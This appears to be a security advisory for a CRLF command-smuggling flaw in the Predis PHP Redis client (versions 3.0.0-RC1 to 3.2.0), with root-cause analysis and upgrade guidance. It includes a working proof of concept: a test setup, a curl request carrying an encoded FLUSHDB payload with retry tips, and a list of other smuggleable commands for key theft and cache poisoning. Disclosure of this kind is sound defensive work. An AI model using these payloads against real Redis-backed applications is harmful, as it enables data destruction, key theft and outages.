Packagist · predis/predis
Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections
An improper CRLF neutralization flaw in Predis' pipeline handling on aggregate connections lets an unauthenticated attacker who can influence any pipelined argument — a value or a key, e.g. a URL slug used as a cache key — smuggle arbitrary Redis commands into the connection.
cluster option, incl. client-side sharding) this
is remote command injection: shard-wide FLUSHDB, targeted DEL/SET,
same-slot key theft via GET, cache poisoning, and possible node/cluster
outage.replication option) it is a reliable,
repeatable denial of service (uncaught fatal error) triggered by any value
containing \r\n.When a pipeline is executed over an aggregate connection,
AbstractAggregateConnection::write() re-parses the already-serialized pipeline
buffer with explode("\r\n") instead of honoring RESP length prefixes:
\r\n, ignoring $<len> bulk lengths,Command::deserializeCommand()
(https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157)
to decide routing,RESP is length-prefixed, so the Redis server parses the original stream
correctly — but this second, client-side parser treats attacker-controlled
\r\n sequences as command boundaries. An argument such as:
PAD\r\n*1\r\n$7\r\nFLUSHDB
is a single data value to the server, but a complete, valid FLUSHDB command to
the re-parser. The consequence depends on the connection type:
switchToMaster(), so all chunks go to the
master and the byte stream stays intact — but the misaligned chunk makes
deserializeCommand() throw an uncaught UnexpectedValueException: Invalid serializing format. Any value containing \r\n (binary serializers such as
igbinary/msgpack, or multi-line text) reliably crashes the request. This is
the crash tracked in #1574 — an unauthenticated, repeatable DoS.FLUSHDB wipes an entire shard. It has no key but is routable because
ClusterStrategy::getFakeKey() hardcodes the fake key 'key'
(https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56
and #L243-L246), so the smuggled command always lands on the node serving
slot('key').INFO (same fake-key routing) leaks server configuration via orphaned
responses; CLUSTER FLUSHSLOTS can take a node down.GET/SET/DEL allow key theft (the reply is attributed to the
application's own later command on that slot), cache poisoning and targeted
data destruction; junk-key floods can exhaust node memory (OOM / mass
eviction of legitimate keys).EVAL cannot be reconstructed (the
class is EVAL_ due to the PHP reserved word), EVAL_RO fails the Keys
trait validation, and EVALSHA requires a pre-loaded script. This is
accidental, not a designed mitigation, and does not reduce severity —
FLUSHDB/DEL/SET alone already permit full cache wipes and data
destruction.Affected versions. Introduced in v3.0.0 by PR #1438 ("Improved pipeline
abstractions"). Affected range: 3.0.0-RC1 through 3.2.0 (v3.0.0-alpha1 is not
affected — the vulnerable code was added after it). v1.x and v2.x are not
affected; their pipelines write per-command via writeRequest() and the
vulnerable code path does not exist.
Only pipeline() reaches the vulnerable sink; transaction() / MULTI paths do
not.
Two plain redis:8 containers acting as two shards (PredisCluster shards
client-side, so Redis itself need not be in cluster mode); a PHP app on a
vulnerable Predis checkout (e.g. v3.2.0).
docker-compose.yml:
services:
redis1:
image: redis:8
ports: ["6391:6379"]
redis2:
image: redis:8
ports: ["6392:6379"]
index.php (a normal-looking app — slug from URL → cache lookup):
<?php
require __DIR__ . '/vendor/autoload.php';
$nodes = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];
$client = new Predis\Client($nodes, ['cluster' => 'predis',
'parameters' => ['read_write_timeout' => 2]]);
if (isset($_GET['seed'])) {
for ($i = 1; $i <= 100; $i++) { $client->set("user:$i", "data$i"); }
exit('seeded');
}
$slug = $_GET['slug'] ?? '';
try {
[$doc] = $client->pipeline()->get("slug:$slug")->execute();
echo $doc ?: 'no such slug';
} catch (Throwable $e) {
http_response_code(500);
echo get_class($e);
}
Run:
composer require predis/predis:3.2.0
docker compose up -d
php -S 127.0.0.1:8080 -t .
curl 'http://127.0.0.1:8080/?seed' # 100 keys
Attack (smuggled FLUSHDB inside the slug):
curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'
The slug's first line must hash to a different shard than the fake key 'key'
(otherwise the truncated bytes swallow the injection and the request simply
404s). With two shards this is ~50% per attempt — retry PAD0, PAD1, … until
the request returns 500. More shards make the attack easier: the per-attempt
hit probability is (N-1)/N, so on production clusters with many shards the
first request succeeds with near-certainty.
Verified result: dbsize across both shards drops 100 → 62; one shard was wiped
by a FLUSHDB the application never issued (it only ever ran GET/SET on
normal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent
of commit 053cb4b6 and fails on 053cb4b6.
CWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command
injection / protocol smuggling and denial of service. Any application on
predis/predis 3.0.0-RC1 – 3.2.0 that calls pipeline() on a cluster or
replication connection and includes attacker-influenced data (values or
keys — e.g. cache keys built from URL slugs) in the pipelined commands is
affected. This is a common pattern for cache lookups, sessions and queued
writes.
FLUSHDB), targeted destruction (DEL), cache poisoning (SET), same-slot
key theft (GET), node memory exhaustion (key flood), possible cluster outage
(CLUSTER FLUSHSLOTS).Upgrade to predis/predis 3.3.0 or later. The fix (PR #1586, commit
053cb4b6) makes pipelines on aggregate connections write each command using the
real Command object, eliminating the second, byte-splitting parser.
Users who cannot upgrade immediately should avoid calling pipeline() on
aggregate (cluster / replication) connections with any attacker-influenced keys
or values; there is no reliable in-application way to neutralize the embedded
\r\n while the second parser remains in the code path.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.